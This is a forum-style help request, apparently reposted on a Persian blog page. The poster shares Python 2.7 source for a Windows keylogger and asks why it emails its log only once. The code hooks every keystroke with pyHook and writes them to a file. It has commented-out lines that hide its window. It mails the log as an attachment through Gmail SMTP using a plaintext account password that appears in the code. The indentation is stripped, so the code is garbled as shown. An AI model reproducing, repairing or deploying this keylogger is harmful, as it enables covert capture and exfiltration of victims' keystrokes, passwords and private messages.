خرید بک لینک

So I recently started making a keylogger just to lea pyhook and whatnot. I'm having a problem with it. It's suppose to send me an email with a logs.txt file attached. It sends an email once, then never again. Any ideas? Python 2.7

import pyHook
import pythoncom
import win32gui
import win32console
import getpass
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from smtplib import SMTP
import smtplib
import time
count = 0
user = getpass.getuser()
log_file = "C:\Users\" + user + "\logs.txt"  #name of log file
#window = win32console.GetConsoleWindow()  #go to script window
#win32gui.ShowWindow(window,0)             #hide window
while True:
def pressed_chars(event):       #on key pressed function
if event.Ascii:
f = open(log_file,"a")  # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q":         # (if char is q)
f.close()           # (close and save log file)
exit()              # (exit program)
if event.Ascii == 13:   # (if char is "retu")
f.write("n")       # (new line)
f.write(char)           # (write char)
try:
msg = MIMEMultipart()
msg['Subject'] = 'Keylogger logs.'
msg['From'] = 'bensmith8229@gmail.com'
msg['To'] = 'bensmith8339@gmail.com'
# That is what u see if dont have an email reader:
msg.preamble = 'Multipart message.n'
# This is the textual part:
part = MIMEText("Log file from keylogger below.")
msg.attach(part)
# This is the binary part(The Attachment):
part = MIMEApplication(open(log_file,"rb").read())
part.add_header('Content-Disposition', 'attachment', filename="logs.txt")
msg.attach(part)
# Create an instance in SMTP server
smtp = SMTP("smtp.gmail.com:587")
smtp.starttls()
# Start the server:
smtp.ehlo()
smtp.login("bensmith8229@gmail.com", "ringer8229")
# Send the email
time.sleep(10)
smtp.sendmail(msg['From'], msg['To'], msg.as_string())
print "logs sent"
except:
print "logs not sent"
proc = pyHook.HookManager()    #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input
print "must not be repeating"

برچسب: نویسنده: استخدام کار تاريخ: سه شنبه 4 خرداد 1395 ساعت: 13:39

صفحه بندی